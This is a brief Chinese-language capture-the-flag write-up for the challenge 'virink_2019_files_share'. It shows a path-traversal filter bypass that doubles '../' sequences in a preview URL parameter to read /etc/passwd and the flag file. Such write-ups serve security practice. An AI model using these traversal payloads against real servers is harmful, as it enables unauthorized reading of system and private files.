刷题笔记:virink_2019_files_share

前言

关键字:[魔方]

题解

index.js文件有这种混淆代码，必有蹊跷。

得，折腾半天整不出来，原来不在这里。

/uploads目录遍历是开着的

读取下/etc/passwd

似乎有过滤

显然，../和/被替换为空，但可以双写绕过

preview?f=..././..././..././..././..././..././etc..//passwd

没想到最后得再加个/flag,实在想不到

/preview?f=..././..././..././..././..././..././f1ag_Is_h3re..//flag